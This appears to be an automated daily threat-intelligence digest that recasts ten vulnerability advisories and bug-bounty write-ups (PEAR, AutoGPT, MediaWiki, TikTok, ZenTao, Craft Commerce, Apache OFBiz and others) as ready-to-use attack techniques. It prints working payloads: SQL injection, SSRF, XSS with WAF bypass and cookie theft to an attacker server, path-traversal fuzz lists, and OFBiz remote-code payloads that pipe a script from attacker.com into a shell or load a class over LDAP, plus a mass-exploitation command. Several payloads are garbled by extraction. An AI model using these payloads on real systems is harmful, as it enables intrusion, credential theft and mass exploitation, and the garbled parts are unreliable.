ETX Signal-X

Daily Intelligence Digest

Friday, February 6, 2026

10	25
ARTICLES	TECHNIQUES

Article 1

PEAR is a framework and distribution system for reusable PHP components. Prior to version 1.33.0, a SQL injection vulnerability in bug subscription deletion may allow attackers to inject SQL via a crafted email value. This issue has been patched in versio

Source: threatable

Date:

URL: https://github.com/pear/pearweb/security/advisories/GHSA-cv3c-27h5-7gmv

T1 SQL Injection via Crafted Email in Bug Subscription Deletion

💉 Payload

```
attacker@example.com' OR 1=1--
```

⚔️ Attack Chain

1. Identify the bug subscription deletion endpoint in `public_html/bugs/bug.php` that accepts `email` as a parameter.
2. Craft an `email` value containing a valid-looking email substring followed by SQL injection payload (e.g., `attacker@example.com' OR 1=1--`).
3. Submit a request to the deletion endpoint with the crafted `email`, along with valid `bug_id` and `unsubscribe_hash` parameters.
4. The unanchored regex email validation accepts the payload, allowing it to reach the SQL query in `public_html/bugs/include/functions.inc`.
5. The SQL query is constructed by direct concatenation, so the payload breaks out of the quoted context and injects arbitrary SQL.
6. Observe unauthorized deletion or manipulation of bug subscriptions, or broader SQLi impact depending on query context.

🔍 Discovery

Analysis of the email validation regex revealed it was unanchored and allowed substrings, enabling crafted emails to bypass checks. Review of the source code showed direct concatenation of user input into SQL queries.

🔓 Bypass

By embedding a valid email substring at the start of the payload, the unanchored regex passes the input, allowing the trailing SQL injection payload to be executed.

🔗 Chain With

Can be chained with privilege escalation if the SQLi allows extraction or manipulation of user or admin data. If the database user has sufficient privileges, may lead to full RCE via stacked queries or file writes (platform-dependent).

Article 2

AutoGPT is a platform that allows users to create, deploy, and manage continuous artificial intelligence agents that automate complex workflows. Prior to autogpt-platform-beta-v0.6.34, in SendDiscordFileBlock, the third-party library aiohttp.ClientSession

Source: threatable

Date:

URL: https://github.com/Significant-Gravitas/AutoGPT/security/advisories/GHSA-ggc4-4fmm-9hmc

T1 SSRF via Unfiltered URL in SendDiscordFileBlock

💉 Payload

```
http://127.0.0.1:4321
```

⚔️ Attack Chain

1. Locate a feature (SendDiscordFileBlock) that accepts a `file` parameter, which can be a URL.
2. Submit a URL pointing to an internal resource (e.g., `http://127.0.0.1:4321`) as the `file` value.
3. The backend code checks if the `file` starts with `http://` or `https://` and, if so, directly calls `aiohttp.ClientSession().get(file)` with no filtering.
4. The backend fetches the internal resource, exposing internal network data to the attacker.

🔍 Discovery

Manual code review of `autogpt_platform/backend/backend/blocks/discord/bot_blocks.py` revealed that user-supplied URLs are passed directly to `aiohttp.ClientSession().get` without validation, unlike other parts of the codebase that use a custom `Requests()` class with SSRF mitigations.

🔓 Bypass

SSRF protections are present in other network access points via the custom `Requests()` class, but this code path uses `aiohttp.ClientSession().get` directly, bypassing those mitigations.

🔗 Chain With

Can be chained with internal admin or debug endpoints exposed on localhost or the internal network. Potential for pivoting to further internal SSRF or credential theft if internal services are reachable.

Article 3

Improper Neutralization of Input During Web Page Generation (XSS or 'Cross-site Scripting') vulnerability in Wikimedia Foundation MediaWiki, Wikimedia Foundation Parsoid. This vulnerability is associated with program files includes/parser/Sanitizer.Php, s

Source: threatable

Date:

URL: https://phabricator.wikimedia.org/T401099

T1 MediaWiki data- Attribute XSS via Sanitizer Bypass

💉 Payload

```
{{#tag:pre|CLICK pre|data-/onclick=alert("鬼影233")}} {{#categorytree:CLICK categorytree|dat
a-/onclick=alert("向世界问好")}}
```

⚔️ Attack Chain

1. Edit a MediaWiki page and insert the payload using the `{{#tag:pre|...}}` or `{{#categorytree:...}}` syntax, supplying a crafted attribute name such as `data-/onclick`.
2. Save or preview the page.
3. When the page is rendered, the attribute name is not properly sanitized by `Sanitizer::validateAttributes`, allowing the malicious attribute (e.g., `data-/onclick`) to be injected into the output HTML.
4. The browser interprets the attribute as an event handler (e.g., `onclick`), triggering arbitrary JavaScript execution (XSS) when the element is interacted with.

🔍 Discovery

Researcher noticed that attributes beginning with `data-` are almost completely bypassing the attribute sanitizer in MediaWiki's core parser, specifically in `Sanitizer::validateAttributes` and `Sanitizer::validateTagAttributes`. This was first observed in a custom extension and then confirmed in core MediaWiki code.

🔓 Bypass

The sanitizer's regex failed to properly restrict characters after `data-`, allowing characters such as `/`, `=`, and others that can break out of the attribute context or create new attributes. This enables the injection of event handler attributes (e.g., `onclick`) by smuggling them as part of a `data-` attribute name (e.g., `data-/onclick`).

🔗 Chain With

Can be chained with stored XSS for persistent admin session hijack on wikis with open editing. Can be used to escalate to RCE if a privileged user is tricked into clicking the malicious element. May be combined with other template or extension-based injection vectors in MediaWiki.

T2 Attribute Name Character Set Confusion for HTML/DOM Bypass

💉 Payload

```
< scriptdata-foo " bar'=" baz "> document. write(document. currentScript. dataset['foo"bar
\'']) script>
```

⚔️ Attack Chain

1. Inject a script tag or similar HTML element with a `data-` attribute containing special characters (such as quotes or spaces) in the attribute name.
2. The HTML parser accepts a surprisingly broad set of characters in attribute names, so the attribute is parsed and available via the DOM `dataset` API.
3. JavaScript accesses the crafted attribute via `document.currentScript.dataset['foo"bar\'']` and exfiltrates or manipulates data.

🔍 Discovery

Tested what happens when attribute names contain characters like `"` or `'` in the name. Found that browsers and the HTML parser allow these as part of the attribute name, which can be leveraged for advanced DOM-based exploitation or bypasses.

🔓 Bypass

Relies on the difference between what the sanitizer and the browser's HTML parser consider valid attribute names. The sanitizer may block some characters, but browsers accept more, enabling attackers to sneak in attributes that are then accessible via JavaScript.

🔗 Chain With

Can be combined with DOM-based XSS or exfiltration attacks. Useful for bypassing naive attribute name filters in custom sanitizers or WAFs. May allow for advanced gadget or user script attacks in MediaWiki environments.

T3 Exploit via Extension/Parser Function Argument Name Injection

💉 Payload

```
{{#tag:pre|CLICK pre|data-/onclick=alert("鬼影233")}}
```

⚔️ Attack Chain

1. Use a MediaWiki parser function or extension (e.g., `#tag`, `#categorytree`) that maps named arguments directly to HTML attribute names.
2. Supply a named argument with an attribute name containing dangerous characters (e.g., `data-/onclick`).
3. The extension or parser function passes the argument name to the core sanitizer, which fails to properly restrict it.
4. The resulting HTML contains an attribute like `data-/onclick`, which the browser interprets as a valid attribute, triggering XSS.

🔍 Discovery

Initial discovery occurred in a custom MediaWiki extension (`MoeImgTag`), where argument names were mapped to HTML attributes. Upon review, it was found that core MediaWiki code was also vulnerable.

🔓 Bypass

The root cause is the assumption that any valid "transclusion named argument name" is also a valid HTML attribute name. The sanitizer does not enforce HTML5 attribute name rules, allowing injection of dangerous names.

🔗 Chain With

Extension authors often trust argument names, so this can be used to exploit a wide range of custom and third-party MediaWiki extensions. May allow privilege escalation if extensions expose sensitive functionality via parser functions.

Article 4

No Gaming, Just Hacking — How I Made $3K on TikTok Bug Bounty Program

Source: securitycipher

Date: 10-Jul-2025

URL: https://medium.com/legionhunters/no-gaming-just-hacking-how-i-made-3k-on-tiktok-bug-bounty-program-2b2e41be276e

T1 Akamai WAF Bypass via Tag Obfuscation and Suffix Injection

💉 Payload

```
}<x>xxx<!--><!>+>+></Script+xxx></script%20x></x><x>xxx<!--><!>+>+>
```

⚔️ Attack Chain

1. Identify a reflected parameter (e.g., `region`) on a TikTok campaign sharing endpoint.
2. Test classic XSS payloads and observe Akamai WAF blocking standard vectors.
3. Experiment with tag obfuscation, mixed case, and suffixes (e.g., `</Script+xxx>`).
4. Submit the above payload, which includes broken tags, HTML comments, and a non-standard script closing pattern to evade WAF filters.
5. Confirm payload reflection and execution context.

🔍 Discovery

Manual recon of campaign-related endpoints, focusing on parameters reflecting input without sanitization. Triggered by observing unfiltered reflection of test payloads and subsequent WAF blocking of standard XSS vectors.

🔓 Bypass

Uses malformed closing tags (`</Script+xxx>`, `</script%20x>`) and comment/obfuscation sequences to evade Akamai's signature-based filtering. Avoids classic keywords and structures that trigger WAF blocks.

🔗 Chain With

Can be chained with further obfuscated JavaScript to bypass runtime keyword blacklists. Enables subsequent payload delivery for more advanced exploitation (see next techniques).

T2 XSS Execution via Obfuscated JavaScript Property Access

💉 Payload

```
<x>xxx<!--><!>+>+></Script+xxx><script%20x>window/*xxx*/['al'%2b'ert'](1);//</script%20x></x><x>xxx<!--><!>+>+>
```

⚔️ Attack Chain

1. After bypassing Akamai WAF using the previous technique, attempt to execute JavaScript.
2. Standard `alert()`, `confirm()`, and `prompt()` calls are blocked at runtime.
3. Use property access obfuscation: break up function names and access via bracket notation (e.g., `['al'+'ert']`).
4. Inject the above payload, which combines WAF bypass structure with obfuscated function call.
5. Confirm successful execution of `alert(1)` despite runtime keyword blacklisting.

🔍 Discovery

Triggered by runtime blocking of classic JavaScript functions after WAF bypass. Researcher iteratively tested obfuscated access patterns until execution succeeded.

🔓 Bypass

Bypasses both WAF and in-browser runtime keyword blacklists by splitting function names and using bracket notation. Uses encoded concatenation (`%2b` for `+`) to further evade filters.

🔗 Chain With

Can be extended to exfiltrate data or perform more complex actions by obfuscating additional sensitive keywords.

T3 Cookie Exfiltration via Obfuscated Location Assignment

💉 Payload

```
window/*xxx*/['loca' + 'tion'] = 'http://<your-server>?cookie=' + document/*xxx*/['coo' +
'kie']; window
/*xxx*/ 'loca' 'tion''http://<your-server>?cookie=' document
/*xxx*/ 'coo' 'kie'
```

⚔️ Attack Chain

1. After achieving XSS with the previous techniques, escalate impact by exfiltrating sensitive data.
2. Use obfuscated property access to reference `location` and `cookie` (e.g., `['loca' + 'tion']`, `['coo' + 'kie']`).
3. Assign a remote URL to `window.location`, appending the stolen cookie as a query parameter.
4. Inject the payload into the vulnerable parameter and confirm exfiltration to the attacker's server.

🔍 Discovery

Follow-up to successful XSS execution, with goal of maximizing impact. Used same obfuscation techniques to bypass keyword blacklists for sensitive properties.

🔓 Bypass

Obfuscates both `location` and `cookie` to avoid detection by runtime or WAF keyword filters. Uses property access and string concatenation to evade static analysis.

🔗 Chain With

Can be adapted to exfiltrate other sensitive data (e.g., localStorage, session tokens) using similar obfuscation. Enables full account takeover or session hijack if session cookies are not properly protected.

Article 5

Bug Bounty Findings: 10 Major Vulnerabilities Exposed in Cloverleaf's Application - Open Redirect ...

Source: securitycipher

Date: 12-Dec-2024

URL: https://medium.com/@maakthon/bug-bounty-findings-10-major-vulnerabilities-exposed-in-cloverleafs-web-application-part-1-95f659ff7d0a

T1 Open Redirect via SSO Login Endpoint (subdomain parameter)

💉 Payload

```
https://app.target.me/api/auth/sso/login?subdomain=google.com/
```

⚔️ Attack Chain

1. Discover the SSO login endpoint: `/api/auth/sso/login`.
2. Use parameter discovery (e.g., Arjun) to identify the `subdomain` parameter.
3. Supply a value such as `google.com/` to the `subdomain` parameter.
4. Trigger the endpoint by visiting the crafted URL.
5. The application redirects the user to `google.com`, allowing for phishing or social engineering attacks.

🔍 Discovery

Reconnaissance using ffuf to enumerate endpoints, followed by Arjun for parameter discovery. Manual testing of the `subdomain` parameter with external domains and trailing slashes revealed the open redirect.

🔓 Bypass

The application only checks if the subdomain exists and does not properly validate or sanitize the input. Appending a slash (`/`) after a valid-looking domain (e.g., `google.com/`) bypasses intended subdomain restrictions, causing a redirect to an external domain.

🔗 Chain With

Can be chained with phishing campaigns, credential harvesting, or session fixation attacks by leveraging user trust in the SSO process.

T2 Open Redirect via SSO Callback Endpoint (subdomain parameter)

💉 Payload

```
https://app.target.me/api/auth/sso/callback?subdomain=attacker.com/
```

⚔️ Attack Chain

1. Identify the SSO callback endpoint: `/api/auth/sso/callback`.
2. Test the `subdomain` parameter with values such as `attacker.com/`.
3. Visit the crafted URL to initiate the callback process.
4. The application redirects the user to `attacker.com` after SSO, exposing them to attacker-controlled content.

🔍 Discovery

After identifying the login endpoint's vulnerability, similar logic was applied to the callback endpoint. Parameter fuzzing and manual payload injection with external domains and slashes revealed the same open redirect flaw.

🔓 Bypass

The callback endpoint fails to validate or restrict the `subdomain` parameter, allowing external domains with a trailing slash to be accepted for redirection.

🔗 Chain With

Can be used post-authentication for advanced phishing, session hijacking, or to chain with other authentication-related vulnerabilities for account takeover scenarios.

Article 6

A weakness has been identified in ZenTao up to 21.7.6-85642. The impacted element is the function fetchHook of the file module/webhook/model.php of the component Webhook Module. This manipulation causes server-side request forgery. The attack may be initi

Source: threatable

Date:

URL: https://github.com/ez-lbz/ez-lbz.github.io/issues/9

T1 SSRF via file:// Protocol in Webhook URL for Arbitrary File Read

💉 Payload

```
file:///etc/passwd
file:///C:/Windows/System32/config/SAM
file:///C:/shellcode.txt
```

⚔️ Attack Chain

1. Authenticate as an administrator in ZenTao CMS (version ≤ 21.7.6-85642).
2. Navigate to Admin → Notification → Webhook (`/webhook-create.html`).
3. Create or edit a webhook and set the URL field to a `file://` protocol path (e.g., `file:///etc/passwd`).
4. Configure trigger conditions (e.g., on task/project/bug creation).
5. Save the webhook configuration.
6. Trigger the webhook by performing an action that matches the configured condition (e.g., create a task).
7. The system executes `curl_exec()` with the attacker-controlled `file://` URL, reading the local file content.
8. The response (file content) is stored in the database and displayed in the webhook log interface.
9. Retrieve the file content by viewing the "Log" for the malicious webhook in the admin panel.

🔍 Discovery

Manual code review of `module/webhook/model.php` (lines 635-684) revealed lack of protocol validation and direct use of user-supplied URL. Testing with `file://` protocol confirmed arbitrary file read with output in logs.

🔓 Bypass

No protocol filtering on the webhook URL; `curl_exec()` does not restrict protocols via `CURLOPT_PROTOCOLS`. No sanitization or filtering of log output, so file content is exposed in the admin UI.

🔗 Chain With

Use to read application config files for database credentials, API keys, or source code, enabling further attacks (e.g., RCE via credential reuse or code analysis). Potential for privilege escalation if sensitive OS files (e.g., `/etc/shadow`, Windows SAM) are readable. Combine with other admin panel vulnerabilities for lateral movement or persistence.

Article 7

Craft Commerce is an ecommerce platform for Craft CMS. In versions from 4.0.0-RC1 to 4.10.0 and from 5.0.0 to 5.5.1, a stored XSS vulnerability exists in Craft Commerce's Order Status History Message. The message is rendered using the |md filter, which pe

Source: threatable

Date:

URL: https://github.com/craftcms/commerce/commit/4665a47c0961aee311a42af2ff94a7c470f0ad8c

T1 Stored XSS via Unescaped Order Status Name in Craft Commerce

💉 Payload

```
<script>alert(document.domain)</script>
```

⚔️ Attack Chain

1. Authenticate as a user with permission to create or edit Order Statuses in Craft Commerce (v4.0.0-RC1 to 4.10.0, or v5.0.0 to 5.5.1).
2. Set the Order Status "name" field to a malicious payload such as `<script>alert(document.domain)</script>`.
3. Save the Order Status.
4. Navigate to the Order Status listing page (`/admin/commerce/settings/orderstatuses`).
5. The payload is executed in the browser of any user viewing the page, as the template rendered `orderStatus.name` without escaping prior to the patch.

🔍 Discovery

Review of the template diff revealed that `orderStatus.name` was rendered without the `|e` (escape) filter, allowing raw HTML/JS injection. The patch added the `|e` filter, confirming the sink.

🔓 Bypass

Prior to the patch, any HTML/JS payload in the "name" field would execute. After the patch, output is escaped, blocking this vector.

🔗 Chain With

Can be chained with privilege escalation if an attacker can inject as a lower-privileged user and an admin views the page. May be leveraged for session hijacking or CSRF if coupled with other weaknesses in the admin panel.

T2 Stored XSS via Unescaped Order Status Handle (Potential)

💉 Payload

```
<script>/*XSS*/</script>
```

⚔️ Attack Chain

1. Authenticate as a user with permission to create or edit Order Statuses.
2. Set the Order Status "handle" field to a malicious payload such as `<script>/*XSS*/</script>`.
3. Save the Order Status.
4. If any template renders `orderStatus.handle` without escaping (prior to the patch), payload executes when the handle is displayed.

🔍 Discovery

Diff shows the patch added the `|e` filter to `orderStatus.handle`. This suggests it was previously rendered unsafely, indicating a potential XSS vector if the handle is ever output as HTML.

🔓 Bypass

After the patch, the handle field is escaped, blocking direct injection.

🔗 Chain With

If handle is used in URLs, may allow open redirect or further injection depending on downstream usage.

Article 8

“Climbing the Filesystem Ladder: Path Traversal Is Still Alive (And Kicking Your Backend)”

Source: securitycipher

Date: 29-Jul-2025

URL: https://medium.com/@narendarlb123/climbing-the-filesystem-ladder-path-traversal-is-still-alive-and-kicking-your-backend-d696aa9f1bda

T1 Path Traversal via Unvalidated File Parameter in Download Endpoints

💉 Payload

```
../../../../etc/passwd
```

⚔️ Attack Chain

1. Identify endpoints accepting user-supplied file parameters (e.g., `/download?file=report.pdf`).
2. Replace the file parameter value with traversal payloads like `../../../../etc/passwd`.
3. Send the request and observe if server returns contents of sensitive files outside the intended directory.

🔍 Discovery

Manual inspection of download/upload endpoints, source code review for direct concatenation of user input into filesystem paths.

🔓 Bypass

Not applicable for this basic variant.

🔗 Chain With

Can be chained with LFI, RCE, or privilege escalation if write access is possible.

T2 Path Traversal via Malicious Zip Upload (Zip Slip in CI/CD)

💉 Payload

```
A zip file containing a file with path: ../../.ssh/authorized_keys
```

⚔️ Attack Chain

1. Locate a CI/CD pipeline or file upload feature that unzips user-supplied archives.
2. Craft a zip file with a file entry path like `../../.ssh/authorized_keys`.
3. Upload the malicious zip file.
4. Upon extraction, the file is written outside the intended directory, potentially overwriting SSH keys and granting attacker access.

🔍 Discovery

Analysis of CI/CD workflows, searching for unzipping of user-controlled archives without path sanitization.

🔓 Bypass

Bypasses naive extraction logic that does not normalize or restrict output paths.

🔗 Chain With

Combine with initial access to CI/CD, privilege escalation, or lateral movement.

T3 Path Traversal in Python Flask send_file/send_from_directory

💉 Payload

```
/download?file=../../../../etc/passwd
```

⚔️ Attack Chain

1. Identify Flask endpoints using `send_file(request.args['file'])` or `send_from_directory` with user input.
2. Supply traversal payloads to the file parameter.
3. Access arbitrary files on the server if no path validation is performed.

🔍 Discovery

Source code review for Flask routes using send_file/send_from_directory with direct user input.

🔓 Bypass

Not applicable for this variant, but see next technique for filter bypasses.

🔗 Chain With

Chain with LFI, RCE, or exfiltration of application secrets.

T4 Bypassing Path Traversal Filters (Encoding, Double Dots, Null Bytes)

💉 Payload

```
%2e%2e%2f
..../
%c0%ae%c0%ae%c0%af
../../passwd%00.txt
```

⚔️ Attack Chain

1. Identify endpoints with naive path traversal filters (e.g., blocking `..` or restricting extensions).
2. Supply encoded or obfuscated traversal payloads to bypass filters:
3. txt`
4. Observe if traversal is successful despite filters.

🔍 Discovery

Testing endpoints with known traversal payloads and observing filter behavior; fuzzing with encoded variants.

🔓 Bypass

URL encoding, UTF-8 encoding, and null byte injection to defeat string-matching or extension-based filters.

🔗 Chain With

Combine with upload features, LFI, or legacy PHP/Java backends for code execution.

T5 Path Traversal Payloads for Windows Targets

💉 Payload

```
..%5c..%5cwindows\win.ini
```

⚔️ Attack Chain

1. Identify endpoints on Windows-based servers that use user-supplied file paths.
2. Supply payloads using backslash encoding (e.g., `..%5c..%5cwindows\win.ini`).
3. Access Windows system files if traversal is not properly sanitized.

🔍 Discovery

Testing with backslash-encoded payloads on suspected Windows targets.

🔓 Bypass

Bypasses filters that only check for forward slashes or Unix-style traversal.

🔗 Chain With

Combine with other Windows-specific attacks, e.g., reading registry hives, system.ini, or credential files.

T6 Chaining Path Traversal with Other Vulnerabilities

💉 Payload

```
../../../../etc/passwd
....//....//config.yml
../../passwd%00.txt
```

⚔️ Attack Chain

1. Use path traversal to read sensitive files (e.g., config files, source code).
2. Chain with LFI to execute code or leak secrets.
3. Chain with RCE by writing to cron directories or uploading web shells if write is possible.
4. Chain with XXE by referencing internal files in XML payloads.
5. Chain with SSRF/S3 attacks by reading IAM keys from config before SSRF to metadata endpoints.

🔍 Discovery

Manual attack chaining after initial path traversal discovery; reviewing application logic for further exploitability.

🔓 Bypass

Depends on the secondary vulnerability; path traversal is the enabler.

🔗 Chain With

Critical: enables privilege escalation, RCE, lateral movement, and data exfiltration when combined with other bugs.

T7 Bonus – Catch-All Path Traversal Fuzz Payloads

💉 Payload

```
../../../../etc/passwd
....//....//config.yml
..%2f..%2f..%2fapp.js
..%5c..%5cwindows\win.ini
```

⚔️ Attack Chain

1. Use these payloads in automated fuzzing or manual testing against any endpoint accepting file paths.
2. Observe for file disclosure or errors indicating traversal.

🔍 Discovery

Fuzzing with comprehensive traversal payload lists using tools like Burp Intruder, ffuf, or dirsearch.

🔓 Bypass

Covers multiple encoding and platform variants to maximize bypass potential.

🔗 Chain With

Initial discovery vector for chaining with other vulnerabilities as above.

Article 9

“Actively Exploited” CVE-2024–38856 Apache OFBiz

Source: securitycipher

Date: 14-Oct-2025

URL: https://medium.com/@hariharanhex00/actively-exploited-cve-2024-38856-apache-ofbiz-44f87aa8b944

T1 Unauthenticated XML-RPC OS Command Injection via Malicious XML Payload

💉 Payload

```
POST /webtools/control/xmlrpc HTTP/1.1Host: target:8443Content-Type: text/xml<methodCall>
<methodName>webtools:executeCommand</methodName>  <params>    <param><value>rm -rf /tmp/fil
e; curl http://attacker.com/shell.sh | sh</value></param>  </params></methodCall><methodCal
l> methodCall<methodName> methodName</methodName> methodName<params> params<param> param<va
lue> value</value> value</param> param</params> params</methodCall> methodCall
```

⚔️ Attack Chain

1. Identify an Apache OFBiz instance prior to version 18.12.14 with the `/webtools/control/xmlrpc` endpoint exposed.
2. Craft a POST request to `/webtools/control/xmlrpc` with a malicious XML payload containing an OS command in the parameter value.
3. Send the request unauthenticated; the vulnerable endpoint executes the command on the server.

🔍 Discovery

Researcher targeted the unauthenticated XML-RPC endpoint, known for unsafe unmarshalling, and tested direct OS command injection via XML payloads.

🔓 Bypass

No authentication required; endpoint is exposed by default in unpatched versions.

🔗 Chain With

Achieve initial RCE for persistence or lateral movement. Drop additional payloads (reverse shell, miners, etc.) via command chaining.

T2 Java Deserialization RCE via XStream/JdbcRowSetImpl Gadget in XML-RPC

💉 Payload

```
<methodCall>  <methodName>webtools.xxx</methodName>  <params>    <param>      <value><seria
lizable xmlns="http://ws.apache.org/xmlrpc/namespaces/extensions">        !com.sun.rowset.J
dbcRowSetImpl            [dataSourceName: "ldap://attacker.com:1389/BadClass", autoCommit:
true]      </serializable></value>    </param>  </params></methodCall><methodCall> methodCa
ll<methodName> methodName</methodName> methodName<params> params<param> param<value> value<
serializable xmlns="http://ws.apache.org/xmlrpc/namespaces/extensions"> serializable xmln
s"http://ws.apache.org/xmlrpc/namespaces/extensions"</serializable> serializable</value> va
lue</param> param</params> params</methodCall> methodCall
```

⚔️ Attack Chain

1. Locate an Apache OFBiz instance with `/webtools/control/xmlrpc` exposed.
2. Craft a POST request with a `<serializable>` XML element containing a `JdbcRowSetImpl` gadget referencing an attacker-controlled LDAP server.
3. Send the payload; the server deserializes the object, triggering a connection to the LDAP server and loading the attacker's class, leading to RCE.

🔍 Discovery

Researcher analyzed the XML-RPC endpoint's use of XStream for deserialization and tested known Java deserialization gadgets (`JdbcRowSetImpl`).

🔓 Bypass

No authentication required; endpoint processes serialized objects without restriction.

🔗 Chain With

Combine with LDAP server hosting arbitrary Java classes for advanced payloads. Use for privilege escalation or as a pivot point for deeper network access.

T3 Combined OS Command Injection and Java Deserialization in a Single XML-RPC Call

💉 Payload

```
<methodCall>  <methodName>webtools:runExec</methodName>  <params>    <param>      <value>||
whoami && cat /etc/passwd ||</value> <!-- OS Command Injection -->    </param>    <param>
<value><serializable xmlns="http://ws.apache.org/xmlrpc/namespaces/extensions">        !co
m.sun.rowset.JdbcRowSetImpl        [autoCommit: true, dataSourceName: "ldap://attacker.com:
1389/BadClass"]      </serializable></value> <!-- Java Deserialization -->    </param>  </p
arams></methodCall><methodCall> methodCall<methodName> methodName</methodName> methodName<p
arams> params<param> param<value> value</value> value
<!-- OS Command Injection --></param> param<param> param<value> value<serializable xmlns="h
ttp://ws.apache.org/xmlrpc/namespaces/extensions"> serializable xmlns"http://ws.apache.org/
xmlrpc/namespaces/extensions"</serializable> serializable</value> value
<!-- Java Deserialization --></param> param</params> params</methodCall> methodCall
```

⚔️ Attack Chain

1. Send a crafted XML-RPC request to `/webtools/control/xmlrpc` with two parameters: one containing an OS command, the other a serialized Java gadget.
2. The vulnerable endpoint processes both, executing the command and deserializing the object, enabling dual-path exploitation (command execution + external class loading).
3. Attacker can verify code execution and escalate impact in a single request.

🔍 Discovery

Researcher experimented with multi-parameter XML-RPC calls, combining command injection and deserialization to maximize exploitability.

🔓 Bypass

No authentication or input validation; both vectors are processed in the same call.

🔗 Chain With

Achieve RCE via multiple vectors for redundancy. Use as a reliable foothold for post-exploitation automation (e.g., enumeration + payload delivery in one step).

T4 Automated Multi-Target Exploitation via Custom Python Script

💉 Payload

```
python3 apache_bang.py --target https://target --port 8443 --exploit -c "whoami"
python3 apache_bang.py --target https://target --port 8443 --exploit -c "ifconfig"
python3 apache_bang.py --target https://target --port 8443 --exploit -c "ls"
python3 apache_bang.py --target https://target --port 8443 --exploit -c "cat /etc/shodow"
python3 apache_bang.py --file target.txt -c "ls"
```

⚔️ Attack Chain

1. Clone the provided exploit repo: `git clone https://github.com/Hex00-0x4/CVE-2024-38856-Apache-OFBiz.git`.
2. Use `apache_bang.py` to automate exploitation against single or multiple targets (via `--file target.txt`).
3. Specify arbitrary OS commands with `-c`, leveraging the underlying XML-RPC vulnerabilities for mass exploitation.

🔍 Discovery

Researcher developed and released a Python script to streamline exploitation and enable multi-target attacks.

🔓 Bypass

Script leverages unauthenticated access and does not require credentials or prior knowledge of the target's environment.

🔗 Chain With

Integrate with Shodan/Fofa for automated target acquisition and exploitation at scale. Use as a first-stage loader for more complex payloads (reverse shells, persistence, etc.).

Article 10

Hacking APIs: Exploiting Batch and Mass Assignment

Source: securitycipher

Date: 28-Oct-2025

URL: https://iaraoz.medium.com/hacking-apis-exploiting-batch-and-mass-assignment-3b67a56dbd01

T1 Mass Assignment Privilege Escalation via API Object Property Injection

💉 Payload

```
POST /api/v1/users HTTP/1.1Host: vulnerable-api.comAuthorization: Bearer eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9...Content-Type: application/json{  "username": "attacker",  "email": "attacker@evil.com",  "role": "admin",  "is_active": true,  "password": "newpassword123"} "username" "attacker" "email""attacker@evil.com" "role" "admin" "is_active" true "password" "newpassword123"
```

⚔️ Attack Chain

1. Craft a JSON payload for the user creation endpoint, injecting sensitive properties such as `role` and `is_active`.
2. Send the payload to the API endpoint (`/api/v1/users`) with valid authentication.
3. The API automatically binds all supplied properties to the user object, including privileged fields.
4. The server creates a new user with elevated privileges (e.g., admin role), as confirmed by the response.

🔍 Discovery

Manual inspection of the API documentation and endpoint behavior revealed that the API accepts arbitrary properties in the request body. Testing with additional fields (`role`, `is_active`) not exposed in the UI confirmed the vulnerability.

🔓 Bypass

No explicit field whitelisting or property filtering on the backend allows direct injection of privileged properties.

🔗 Chain With

Combine with authentication bypass or account takeover for persistent admin access. Use in conjunction with batch endpoints to escalate multiple accounts simultaneously.